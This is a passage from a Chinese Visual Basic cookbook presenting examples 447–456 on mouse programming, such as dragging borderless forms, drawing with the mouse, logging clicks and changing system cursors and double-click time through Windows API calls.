OLEDropAllowed属性用于决定OLE容器控件是否是OLE拖放操作的放目标，语法如下：



object.OLEDropAllowed [= boolean]




参数说明

❶object：对象表达式。

❷boolean：布尔表达式，确定OLE容器控件是否为放目标。如果将设置值设置为True，则在拖动链接对象或内嵌对象时，当鼠标指针在OLE容器控件上移动时会出现放图标；如果将设置值设置为False，则拖动链接或嵌入对象时，在OLE容器控件上将不出现放图标。



 实例447　拖动无标题栏的窗体移动

光盘位置：光盘\MR\14\447

高级

趣味指数：[image: ]




实例说明

在编写应用程序时，很多人都喜欢利用一整张图片作为窗体的背景而将标题栏隐藏，这样可以使整个窗体的界面美观大方，但是没有标题栏的就不能利用鼠标自由拖动窗体移动了。下面介绍拖动无标题栏的窗体移动，程序的运行效果如图14.13所示。

[image: ]
图14.13　拖动无标题栏的窗体移动



关键技术

本实例主要是通过使用API函数实现的拖动无标题栏窗体移动。首先利用ReleaseCapture函数为当前的应用程序释放鼠标捕获，然后利用SendMessage函数发送一个消息给窗口，以实现无标题窗体的移动。

（1）ReleaseCapture函数

该函数用于为当前的应用程序释放鼠标捕获，返回值为Long，True（非0）表示成功，0表示失败，语法如下：



Declare Function ReleaseCapture Lib "user32" Alias "ReleaseCapture" () As Long




（2）SendMessage函数

该函数用于调用一个窗口的窗口函数，将一条消息发给那个窗口。除非消息处理完毕，否则该函数不会返回。Send MessageBynum和SendMessageByString是该函数的“类型安全”声明形式，返回值为Long，由具体的消息决定，语法如下：



Declare Function SendMessage& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any)
Declare Function SendMessageBynum& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
Declare Function SendMessageByString& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String)




SendMessage函数的参数说明如表10.1所示。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“拖动无标题栏窗体移动”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个PictureBox控件，名称均使用默认名称，设置Picture属性为指定图片。

（4）主要程序代码如下：



Const HTCAPTION = 2
Const WM_NCLBUTTONDOWN = &HA1
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Sub Picture1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    If Button = 1 Then
        Dim ReturnVal As Long
        X = ReleaseCapture()
        ReturnVal = SendMessage(hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0)
    End If
End Sub




秘笈心法

心法领悟447：鼠标拖放（OLE拖放操作）的Drag方法小知识。

Drag方法用于控件的开始、结束或取消拖动操作，但是除了Line、Menu、Shape、Timer和CommonDialog控件。仅当控件的DragMode属性值为0且采用手工拖放时，用该方法来实现控件的拖放操作，语法如下：



object.Drag action




参数说明

❶object：一个对象表达式。

❷action：一个可选的常数或数值。



 实例448　利用鼠标绘图

光盘位置：光盘\MR\14\448

中级

趣味指数：[image: ]




实例说明

Windows中的绘图工具大家一定都用过，在其中选择铅笔工具就可以在画板上绘制自己喜欢的图案。利用VB也可以实现鼠标绘图的功能，其实现效果如图14.14所示。

[image: ]
图14.14　鼠标绘图



关键技术

本实例主要是通过利用MouseDown、MouseMove、MouseUp事件来实现的。当鼠标按下时，即绘图开始，记录绘图的起点坐标；当鼠标抬起时，即绘图结束，记录绘图的终点坐标；当鼠标移动时，即绘制一条从起点到终点的直线。

MouseDown、MouseUp事件是当按下（MouseDown）或者释放（MouseUp）鼠标按钮时发生的，语法如下：



Private Sub object_MouseDown([index As Integer,]button As Integer, shift As Integer, x As Single, y As Single)
Private Sub object_MouseUp([index As Integer,]button As Integer, shift As Integer, x As Single, y As Single)




MouseDown、MouseUp事件的参数说明如表14.5所示。

表14.5　MouseDown、MouseUp事件的参数说明



	参数
	说明



	object
	返回一个对象表达式



	index
	返回一个整数，用来唯一地标识一个在控件数组中的控件



	button
	返回一个整数，用来标识该事件的产生是按下（MouseDown）或者释放（MouseUp）按钮引起的。button参数是具有相应于左按钮（位0）、右按钮（位1）以及中间按钮（位2）的一个位字段。这些位的值分别等于1、2和4。其中仅有一位被设置，指示出引起该事件的那个按钮



	shift
	返回一个整数，在button参数指定的按钮被按下或者被释放的情况下，该整数相应于Shift、Ctrl和Alt键的状态。某键被按下使得一个二进制位被设置。shift参数是具有相应于Shift键（位0）、Ctrl键（位1）以及Alt键（位2）最少二进制位的一个位字段。这些位的值分别等于1、2和4。shift参数指示这些键的状态。这些位中可能有一些、全部或者一个也没有被设置，指示这些键中的一些、全部或者一个也没有被按下。例如，Ctrl和Alt键都被按下，则shift的值就是6



	x, y
	返回一个指定鼠标指针当前位置的数。x和y的值所表示的总是通过该对象ScaleHeight、ScaleWidth、ScaleLeft和ScaleTop属性所建立的坐标系统的方式





说明：
 MouseMove事件的详细讲解请参见实例444中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“鼠标绘图”，StartUp Position属性设置为“2-屏幕中心”。

（3）在窗体上添加一个PictureBox控件，名称均使用默认名称。

（4）在窗体上添加两个CommandButton控件，使用其默认名称，Caption属性分别设置为“选择颜色”和“清空图片”。

（5）主要程序代码如下：



Dim x1 As Integer       '起点X坐标
Dim y1 As Integer       '起点Y坐标
Dim x2 As Integer       '终点X坐标
Dim y2 As Integer       '终点Y坐标
Dim flag As Boolean      '绘图标志
Private Sub Command1_Click()    '选择颜色
    On Error Resume Next
    CommonDialog1.CancelError = True
    CommonDialog1.ShowColor
    If Err <> 32755 Then
        Picture1.ForeColor = CommonDialog1.Color
    End If
End Sub
Private Sub Command2_Click()        '清除
    Picture1.Cls
End Sub
Private Sub Form_Load()
    flag = False                  '设置绘图标志
    Picture1.DrawWidth = 2
End Sub
Private Sub Picture1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    '当按下鼠标按键时绘图开始并记录起点坐标
    flag = True
    x1 = X: y1 = Y
End Sub
Private Sub Picture1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    '如果不是绘图状态则退出
    If flag = False Then Exit Sub
    If flag = True Then               '如果处在绘图状态则执行绘图操作
        x2 = X: y2 = Y
        Picture1.Line (x1, y1)-(x2, y2)
        x1 = x2: y1 = y2
    End If
End Sub
Private Sub Picture1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
    flag = False                 '当释放鼠标按键时绘图结束，并设置绘图标志
End Sub




秘笈心法

心法领悟448：鼠标拖放（OLE拖放操作）的DragDrop事件小知识。

DragDrop事件在一个完整的拖放动作完成或使用Drag方法，并将其action参数设置为2（Drop）时，该事件发生。前面介绍的拖放属性和拖放方法都是作用在源对象上的，而DragDrop事件是发生在目标对象上的，语法如下：



Private Sub Form_DragDrop(source As Control, x As Single, y As Single)
Private Sub MDIForm_DragDrop(source As Control, x As Single, y As Single)
Private Sub object_DragDrop([index As Integer,]source As Control, x As Single, y As Single)






 实例449　鼠标点不到的按钮

光盘位置：光盘\MR\14\449

中级

趣味指数：[image: ]




实例说明

要想使按钮不被鼠标点到，就需要在鼠标移动到按钮上时，通过按钮的Move方法，将按钮移动到一个随机的位置，这样鼠标就永远也点不到按钮了。本程序实现了鼠标点不到按钮的功能，程序的运行效果如图14.15所示。

[image: ]
图14.15　鼠标点不到的按钮



关键技术

本实例的实现主要是通过按钮的Move方法和Rnd函数将按钮随机移动到一个位置来实现的。


说明：
 （1）Move方法的详细讲解请参见实例365中的关键技术。

（2）Rnd函数的详细讲解请参见实例182中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“鼠标点不到的按钮”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个CommandButton控件，使用其默认名称，Caption属性设置为“点我”。

（4）主要程序代码如下：



Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim cx, cy
    cx = Rnd * Form1.ScaleWidth
    cy = Rnd * Form1.ScaleHeight
    Command1.Move cx, cy
End Sub




秘笈心法

心法领悟449：使用鼠标事件应注意的事项。

对于Frame控件中的窗体和控件，坐标系统总是用缇。移动屏幕上的窗体或移动Frame中的控件总是相对于左上角的原点（0,0）。移动Form对象或PictureBox中的控件（或MDIForm对象中的MDI子窗体）时，则使用该容器对象的坐标系统。坐标系统或度量单位是在设计时用ScaleMode属性设置。在运行时使用Scale方法可以更改该坐标系统。



 实例450　记录鼠标行为

光盘位置：光盘\MR\14\450

高级

趣味指数：[image: ]




实例说明

本实例主要实现了记录鼠标的行为的功能，如单击鼠标左键、单击鼠标右键等。运行程序，在文本框中进行鼠标左键或鼠标右键动作，程序将显示出鼠标键的动作，程序的运行效果如图14.16所示。

[image: ]
图14.16　记录鼠标行为



关键技术

本实例主要是通过API函数中的GetAsyncKeyState函数获得鼠标和键盘的动作来实现的。


说明：
 GetAsyncKeyState函数的详细讲解请参见实例402中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“记录鼠标行为”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，用于显示鼠标行为信息。

（4）主要程序代码如下：



Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Const VK_LBUTTON = &H1
Private Const VK_RBUTTON = &H2
Private Sub Timer1_Timer()
    If GetAsyncKeyState(VK_LBUTTON) = -32767 Then
        Text1.Text = Text1.Text + " 鼠标左键 "
    ElseIf GetAsyncKeyState(VK_RBUTTON) = -32767 Then
        Text1.Text = Text1.Text + " 鼠标右键 "
    End If
End Sub




秘笈心法

心法领悟450：GetAsyncKeyState函数小知识。

GetAsyncKeyState函数如果指定了VK_LBUTTON或VK_RBUTTON，按钮的状态就会根据实际的按钮报告——无论是否曾用SwapMouseButton函数对鼠标的位置进行了交换。Win32提供了额外的一些虚拟键码，例如，VK_LSHIFT和VK_RSHIFT，以便在两个完全一样的键中区分出左右（也包括Ctrl键和Alt键）。



 实例451　获得和设置鼠标双击时间间隔

光盘位置：光盘\MR\14\451

中级

趣味指数：[image: ]




实例说明

鼠标双击的时间间隔反映了鼠标的敏感程度，如果时间设置得太短，双击事件就有可能不被处理成双击事件，从而导致错误；如果时间设置得太长，用户也会感到不方便。下面介绍一种可以获得和设置鼠标双击时间间隔的方法，程序的运行效果如图14.17所示。

[image: ]
图14.17　获得和设置鼠标双击的时间间隔



关键技术

本实例主要是通过利用API函数GetDoubleClickTime可以获得鼠标双击的时间间隔来实现的，SetDoubleClickTime函数用于设置鼠标双击的时间间隔。这里的时间间隔都是以毫秒（千分之一秒）为单位的。

（1）GetDoubleClickTime函数

判断连续两次鼠标单击之间会被处理成双击事件的间隔时间，返回值为Long，以毫秒表示的双击时间，语法如下：



Declare Function GetDoubleClickTime Lib "user32" Alias "GetDoubleClickTime" () As Long




（2）SetDoubleClickTime函数

设置连续两次鼠标单击之间能使系统认为是双击事件的间隔时间，返回值为Long，非0表示成功，0表示失败，语法如下：



Declare Function SetDoubleClickTime Lib "user32" Alias "SetDoubleClickTime" (ByVal wCount As Long) As Long




参数说明

wCount：Long，新的DoubleClick间隔时间，以毫秒为单位。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“获得和设置鼠标双击的时间间隔”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加3个Label控件，用于显示当前鼠标双击的时间间隔。

（4）在窗体上添加一个Frame控件，在Frame控件上添加一个Label控件和一个TextBox控件，设置鼠标双击的时间间隔。

（5）主要程序代码如下：



Private Declare Function GetDoubleClickTime Lib "user32" () As Long
Private Declare Function SetDoubleClickTime Lib "user32" (ByVal wCount As Long) As Long
Private Sub Command1_Click()       '设置鼠标双击的时间间隔
    wCount = Text1.Text
    SetDoubleClickTime (wCount)
    MsgBox "设置成功！", vbInformation, "明日图书"
End Sub
Private Sub Form_Load()           '获得鼠标双击的时间间隔
    Label2.Caption = GetDoubleClickTime
End Sub




秘笈心法

心法领悟451：SetDoubleClickTime函数小知识。

双击时间设定的变化会影响整个系统。



 实例452　跟随鼠标移动的蝴蝶

光盘位置：光盘\MR\14\452

初级

趣味指数：[image: ]




实例说明

[image: ]
图14.18　鼠标跟随



在浏览网页时，经常会遇见一些漂亮的图标跟随鼠标移动，这里介绍利用VB制作鼠标跟随的效果。这里主要利用API函数GetCursorPos获得以前和当前点的坐标，将这两点之间的左边的差值经过一定的运算获得的值和以前的点的坐标相加作为当前的坐标。这样即产生鼠标跟随的效果，程序的运行效果如图14.18所示。

关键技术

本实例主要是通过使用API函数GetCursorPos获得以前和当前点的坐标，将这两点之间的左边的差值经过一定的运算获得的值和以前的点的坐标相加作为当前的坐标来实现的。


说明：
 GetCursorPos函数的详细讲解请参见实例058中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“鼠标跟随”，StartUp Position属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Image控件，设置其Picture属性为一幅蝴蝶图片。

（4）在窗体上添加一个Timer控件，Enabled属性设置为True，Interval属性设置为200。

（5）主要程序代码如下：



Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Type POINTAPI
    X As Long
    Y As Long
End Type
Dim OldX As Long    '原来的X坐标
Dim OldY As Long    '原来的Y坐标
Dim Newx As Long    '新的X坐标
Dim Newy As Long    '新的Y坐标
Dim myPoint As POINTAPI
Dim i As Integer
Private Sub Timer1_Timer()
    Dim incX As Long
    Dim incY As Long
    i = i + 1
    Image1.Picture = LoadPicture(App.Path & "\dh\" & i & ".gif")
    If i = 8 Then i = 0
    Me.SetFocus
    GetCursorPos myPoint
    OldX = Me.Left
    OldY = Me.Top
    Newx = myPoint.X * 13.5
    Newy = myPoint.Y * 13.5
    incX = (Newx - OldX) / 108 * 10
    incY = (Newy - OldY) / 108 * 10
    Me.Move OldX + incX, OldY + incY
End Sub




秘笈心法

心法领悟452：鼠标拖放（OLE拖放操作）的DragOver事件小知识。

在当源对象被拖动到某个对象上时，在该对象上便引发DragOver事件。可用此事件对鼠标指针在一个有效目标上的进入、离开或停顿等进行监控。鼠标指针的位置决定接收此事件的目标对象，语法如下：



Private Sub Form_DragOver(source As Control, x As Single, y As Single, state As Integer)
Private Sub MDIForm_DragOver(source As Control, x As Single, y As Single, state As Integer)
Private Sub object_DragOver([index As Integer,]source As Control, x As Single, y As Single, state As Integer)






 实例453　制作鼠标拖拽控件程序

光盘位置：光盘\MR\14\453

高级

趣味指数：[image: ]




实例说明

本实例主要实现了鼠标拖拽控件移动的功能。运行程序，用鼠标按住“拖拽按钮”不放，然后移动鼠标，“拖拽按钮”会跟随鼠标移动，程序的运行效果如图14.19所示。

[image: ]
图14.19　拖拽CommandButton控件



关键技术

由于某些原因，有些程序需要将控件通过鼠标拖拽的方式调整控件在窗体中的所在位置。本实例实现了此功能，主要用到了控件的MouseMove事件和MouseDown事件。


说明：
 （1）MouseMove事件的详细讲解请参见实例444中的关键技术。

（2）MouseDown事件的详细讲解请参见实例316中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“制作鼠标拖拽控件程序”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个CommandButton控件，名称命名为Cmd_move，将Caption属性设置为“拖拽按钮”。

（4）主要程序代码如下：



Option Explicit
Dim oldx As Integer, oldy As Integer
Private Sub command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    If Button = 1 Then   '当按下右按钮时
        Command1.Left = Command1.Left + X - oldx                     'Command控件的Left属性为当前值加上横坐标的值
        Command1.Top = Command1.Top + Y - oldy
    End If
End Sub
Private Sub Command1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    oldx = X: oldy = Y
End Sub




秘笈心法

心法领悟453：获取中文字符串长度的函数（CLen函数）。

下面定义一个用于获取中文字符串长度的函数。该函数返回汉字的长度，其值为整型。参数mystr为需要获取长度的中文字符串，为字符型。

函数名称：CLen函数。

函数功能：获取中文字符串长度。

函数语法如下：



Function CLen(ByVal mystr As String) As Integer
   CLen = LenB(StrConv(mystr, vbFromUnicode))
End Function




例如，获得中文字符串“吉林省明日科技有限公司”的长度，其代码如下：



CLen("吉林省明日科技有限公司")




返回值：22。



 实例454　捕捉MouseEnter和MouseExit事件

光盘位置：光盘\MR\14\454

中级

趣味指数：[image: ]




实例说明

在VB提供的鼠标事件中，缺少MouseEnter（鼠标移进）和MouseExit（鼠标移出）事件。这里可以利用API函数SetCapture（使某个窗体捕获鼠标的动作）和ReleaseCapture（释放鼠标的捕获）实现鼠标的移进和移出。这里以PictureBox控件为例，在MouseMove事件中当鼠标移进PictureBox控件时（即X坐标大于0，小于PictureBox控件的宽度，Y坐标大于0，小于PicturBox控件的高度），在Label控件中即可显示鼠标在Picture内的信息，如图14.20所示。否则，鼠标就在PictureBox控件外部。

[image: ]
图14.20　捕获MouseEnter和MouseExit事件



关键技术

本实例主要是通过使用API函数SetCapture（使某个窗体捕获鼠标的动作）和ReleaseCapture（释放鼠标的捕获），实现鼠标的移进和移出。

SetCapture函数用于将鼠标捕获设置到指定的窗口。在鼠标按钮按下时，这个窗口会为当前应用程序或整个系统接收所有鼠标输入，返回值为Long，之前拥有鼠标捕获的窗口的句柄，语法如下：



Declare Function SetCapture Lib "user32" Alias "SetCapture" (ByVal hwnd As Long) As Long




参数说明

hwnd：Long，要接收所有鼠标输入的窗口的句柄。


说明：
 ReleaseCapture函数的详细讲解请参见实例447中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“捕获MouseEnter和MouseExit事件”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个PictureBox控件和一个Label控件，PictureBox控件用于设置鼠标的移进和移出，将结果显示在Label控件上。

（4）主要程序代码如下：



Private Declare Function SetCapture Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Sub Picture1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim MouseEnter As Boolean
    MouseEnter = (0 <= X) And (X <= Picture1.Width) And (0 <= Y) And (Y <= Picture1.Height)
    If MouseEnter Then
        SetCapture Picture1.hwnd
        Label1.Caption = "此时鼠标在Picture内"
    Else
        Label1.Caption = "此时鼠标在Picture外"
        ReleaseCapture
    End If
End Sub




秘笈心法

心法领悟454：OLEDragMode属性小知识。

OLEDragMode属性用于返回或设置目标部件如何处理放操作。当该属性值为0时，目标部件不接受OLE拖放操作，并且显示No Drop图标；当属性值为1时，为人工方式，目标部件触发OLE放事件，允许程序员用代码处理OLE拖放操作；当属性值为2时，为自动方式，如果拖动对象包含目标部件能识别的格式的数据，则自动接受OLE拖放操作；当OLEDropMode设置为2时，在目标上鼠标事件和OLE拖放事件都不会发生。



 实例455　鼠标样式设置器

光盘位置：光盘\MR\14\455

中级

趣味指数：[image: ]




实例说明

用户在电脑中使用的鼠标样式一般都是系统默认的，为了使自己的电脑更具有特色，用户可以自己设置鼠标样式。本实例将对改变VB窗体和系统鼠标样式进行详细讲解，程序的运行结果如图14.21所示。

[image: ]
图14.21　鼠标样式设置器



关键技术

在本实例中使用到了和鼠标相关的5个API函数：LoadCursorFromFile函数、SetSystemCursor函数、SystemParametersInfo函数、SetClassLong函数和GetSystemDirectory函数。

（1）SetSystemCursor函数

该函数用于改变任何一个标准系统指针。返回值是一个Long型值，非0表示成功，0表示失败，语法如下：



Private Declare Function SetSystemCursor Lib "user32" ( ByVal hcur As Long, ByVal id As Long) As Long




参数说明

❶hcur：光标的句柄，该函数hcur标识的光标的内容代替id定义的系统光标内容。系统通过调用DestroyCursor函数销毁hour。因此hour不能是由LoadCursor函数载入的光标。要指定一个从资源载入的光标，先用CopyCursor函数复制该光标，然后把该副本传送给SetSystemCursor函数。

❷id：指定由hour的内容替换系统光标。

表14.6所示为一系列的系统光标标识符。

表14.6　系统光标标识符



	标识符
	描述



	OCR_APPSTARTING
	标准箭头和小的沙漏



	OCR_NORMAL
	标准箭头



	OCR_CROSS
	交叉十字线光标



	OCR_HAND
	手的形状（Windows NT 5.0和以后版本）



	OCR_HELP
	箭头和向东标记



	OCR_IBEAM
	I形梁



	OCR_NO
	斜的圆



	OCR_SIZEALL
	4个方位的箭头分别指向北、南、东、西



	OCR_SIZENESEW
	双箭头分别指向东北和西南



	OCR_SIZENS
	双箭头分别指向北和南



	OCR_SIZENWSE
	双箭头分别指向西北和东南



	OCR_SIZEWE
	双箭头分别指向西和东



	OCR_UP
	垂直箭头



	OCR_WAIT
	沙漏




在本程序中使用的程序代码如下：



Call SetSystemCursor(hCursor, OCR_NORMAL)




（2）SystemParametersInfo函数

该函数允许获取和设置数量众多的Windows系统参数，返回值是一个Long，非0表示成功，0表示失败，语法如下：



Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" ( ByVal uAction As Long, ByVal uParam As Long, ByRef lpvParam As Any, ByVal fuWinIni As Long) As Long




SystemParametersInfo函数的参数说明如表14.7所示。

表14.7　SystemParametersInfo函数的参数说明



	参数
	说明



	uAction
	Long型值，指定要设置的参数。参考uAction常数表



	uParam
	Long型值，参考uAction常数表



	lpvParam
	Any型值，按引用调用的Integer、Long和数据结构。对于String数据，请用SystemParametersInfoByval函数。具体用法参考uAction常数表



	fuWinIni
	Long型值，取决于不同的参数及操作系统，随同这个函数设置的用户配置参数保存在win.ini或注册表中，或同时保存在这两个地方。这个参数规定了在设置系统参数时是否应更新用户设置参数。可以是0（禁止更新）或表14.8中的常数




表14.8　fuWinIni参数可以设置的常数



	常数
	说明



	SPIF_UPDATEINIFILE
	更新win.ini和（或）注册表中的用户配置文件



	SPIF_SENDWININICHANGE
	倘若也设置了SPIF_UPDATEINIFILE，将一条WM_WININICHANGE消息发给所有应用程序。否则没有作用。这条消息告诉应用程序已经改变了用户配置设置





注意：
 在调用这个函数之前，特别要注意将lpvParam参数定义成正确的数据类型。

在本程序中使用的程序代码如下：



SystemParametersInfo SPI_SETCURSORS, 0, 0, SPIF_SENDWININICHANGE




（3）SetClassLong函数

该函数为窗口类设置一个Long变量条目。返回值是一个Long型值，由nIndex指定的类信息的前一个值；0表示出错，语法如下：



Private Declare Function SetClassLong Lib "user32" Alias "SetClassLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long




参数说明

❶hwnd：Long型值，欲为其设置类信息的那个窗口的句柄。

❷nIndex：Long型值，欲取得的信息，可能是表14.9中的任何常数。

❸dwNewLong：Long型值，类信息的新值，具体取决于nIndex。

表14.9　nIndex的参数设置



	常数
	说明



	GCL_CBCLSEXTRA
	这个类结构中分配的额外字节数



	GCL_CBWNDEXTRA
	窗口结构中为这个类中每个窗口分配的额外字节数



	GCL_HBRBACKGROUND
	描绘这个类每个窗口的背景时，使用默认刷子的句柄



	GCL_HCURSOR
	指向这个类窗口默认光标的句柄



	GCL_HICON
	这个类中窗口默认图标的句柄



	GCL_HICONSM
	这个类的小图标



	GCL_HMODULE
	这个类的模块的句柄



	GCL_MENUNAME
	为类菜单取得名称或资源ID



	GCL_STYLE
	这个类的样式



	GCL_WNDPROC
	取得类窗口函数（该类窗口的默认窗口函数）的地址




在本程序中使用的代码如下：



SetClassLong Me.hwnd, GCL_HCURSOR, hCursor




（4）GetSystemDirectory函数

该函数能取得Windows系统目录（System目录）的完整路径名。在这个目录中，包含了所有必要的系统文件。根据微软的标准，其他定制控件和一些共享组件也可放到这个目录中。通常应避免在这个目录中创建文件。在网络环境中，往往需要管理员权限才可对这个目录进行写操作。

函数的返回值是一个Long型值，装载到lpBuffer缓冲区的字符数量，语法如下：



Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long




参数说明

❶lpBuffer：String型值，用于装载系统目录路径名的一个字串缓冲区。它应事先初始化成nSize+1个字符的长度。通常至少要为这个缓冲区分配MAX_PATH个字符的长度。

❷nSize：Long型值，lpBuffer字串的最大长度。

在本程序中使用的代码如下：



Dim sPath As String * 260
GetSystemDirectory sPath, Len(sPath)





说明：
 LoadCursorFromFile函数的详细讲解请参见实例437中的关键技术。

设计过程

（1）新建一个标准的EXE工程。

（2）在工程中添加一个窗体，使用默认名，设置Caption属性为“鼠标样式设置器”。

（3）利用“菜单编辑器”在窗体上创建菜单，具体的设置如图14.22所示。

[image: ]
图14.22　菜单的设置



（4）在窗体上添加一个CommonDialog控件，用于显示打开对话框。

（5）主要程序代码。

选择“设置鼠标样式”/“设置系统鼠标样式”命令，即可在弹出的对话框中选择鼠标样式，将其设置为系统的鼠标样式，程序代码如下：



Private Sub SetSysMouse_Click()                                            '设置系统鼠标样式
    CommonDialog1.Filter = "CUR文件(*.cur)|*.cur|ANI文件(*.ani)|*.ani|所有文件|(*.*)"        '设置对话框的打开类型
    CommonDialog1.ShowOpen                                            '显示打开对话框
    CommonDialog1.CancelError = False                                    '当单击“取消”按钮时不出错
    If CommonDialog1.FileName <> "" Then                                    '如果文件路径不为空
        hCursor = LoadCursorFromFile(CommonDialog1.FileName)                    '加载鼠标到变量中
        Call SetSystemCursor(hCursor, OCR_NORMAL)                            '设置系统鼠标样式
    End If
End Sub




选择“设置鼠标样式”/“恢复系统鼠标样式”命令，即可将系统鼠标的样式恢复为默认值，程序代码如下：



Private Sub BackSysMouse_Click()                                        '恢复系统鼠标的样式
    SystemParametersInfo SPI_SETCURSORS, 0, 0, SPIF_SENDWININICHANGE            '利用API函数恢复系统鼠标样式
End Sub




选择“设置鼠标样式”/“设置窗体鼠标样式”命令，在打开的对话框中选择鼠标样式，设置窗体的鼠标样式，程序代码如下：



Private Sub SetFormMouse_Click()                                        '设置窗体的鼠标样式
    CommonDialog1.Filter = "CUR文件(*.cur)|*.cur|ANI文件(*.ani)|*.ani|所有文件|(*.*)"        '设置打开文件的类型
    CommonDialog1.ShowOpen                                            '显示打开对话框
    CommonDialog1.CancelError = False                                    '当单击“取消”按钮时不出错
    If CommonDialog1.FileName <> "" Then                                    '如果文件路径不为空
        hCursor = LoadCursorFromFile(CommonDialog1.FileName)                    '加载鼠标到变量中
        SetClassLong Me.hwnd, GCL_HCURSOR, hCursor                            '设置窗体鼠标样式
    End If
End Sub




选择“设置鼠标样式”/“恢复窗体鼠标样式”命令即可将窗体鼠标的样式恢复为默认值，程序代码如下：



Private Sub BackFormMouse_Click()                                        '恢复窗体鼠标的样式
    Dim sPath As String * 260                                '定义路径
    GetSystemDirectory sPath, Len(sPath)                        '获取系统路径
    hCursor = LoadCursorFromFile(sPath)                        '将系统路径添加到变量中
    SetClassLong Me.hwnd, GCL_HCURSOR, hCursor                '回复窗体的鼠标样式
End Sub




秘笈心法

心法领悟455：MouseMove事件小知识。

MouseMove事件伴随鼠标指针在对象间移动时连续不断地产生。除非有另一个对象捕获了鼠标，否则，当鼠标位置在对象的边界范围内时该对象就能接收MouseMove事件。

MouseMove事件的button参数与MouseDown和MouseUp事件的button参数是不同的。对于MouseMove事件来说，button参数指示的是所有按钮当前的状态；一个MouseMove事件可指示某些、全部或没有一个按钮被按下。对于MouseDown和MouseUp事件来说，button参数在每个事件精确地指示一个按钮。

在MouseMove事件中任何时侯移动窗口都能引起层叠事件。当该窗口移动到指针下面时MouseMove事件将产生。即使是鼠标完全不动，MouseMove事件也能产生。



 实例456　利用鼠标移动浏览大幅图片

光盘位置：光盘\MR\14\456

高级

趣味指数：[image: ]




实例说明

本实例实现了利用鼠标的移动浏览大幅图片，本例的开发背景是由于浏览的地图尺寸过大，为了方便用户的使用，不能将其仅显示在一屏的范围内，因此需要放大尺寸。放大尺寸以后，用户可以用鼠标来移动图片，当将鼠标移动到顶部的黑色区域时，图片的显示范围将向上移动。当鼠标移动到左侧的黑色区域时，图片将向左移动，依此类推，程序的运行效果如图14.23所示。
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图14.23　利用鼠标移动浏览大幅图片



关键技术

利用鼠标移动浏览图片是如何实现的呢？主要是利用图片框控件的MouseMove事件。在窗体的四周均放置一个PictuerBox控件，命名为Pic的控件数组，当鼠标移动到Pic上则执行相应方向的移动操作。


说明：
 MouseMove事件的详细讲解请参见实例444中的关键技术。

当鼠标在Pic控件数组上移动时，根据Pic控件的数组序号，给窗体级变量t4赋予不同的值，程序代码如下：



Private Sub Pic_MouseMove(Index As Integer, Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim mouseover As Boolean                                        '定义布尔型变量
    mouseover = (0 <= X) And (X <= Pic(Index).Width)                        '给变量赋值
    If mouseover Then                                            '如果变量的返回值为True
        If Index = 0 Then t4 = 1                                        '如果是向上移动，给t4赋值1
        If Index = 1 Then t4 = 2                                        '如果是向下移动，给t4赋值2
        If Index = 2 Then t4 = 3                                        '如果是向左移动，给t4赋值3
        If Index = 3 Then t4 = 4                                        '如果是向右移动，给t4赋值4
    End If
End Sub




设计过程

（1）新建一个VB企业版控件的工程。

（2）在工程中添加窗体，使用默认名，设置Caption属性为“利用鼠标移动浏览大幅图片”，设置BorderStyle属性为1-Fixed Single，固定单边框。设置MinButton属性为True，“最小化”按钮可用。

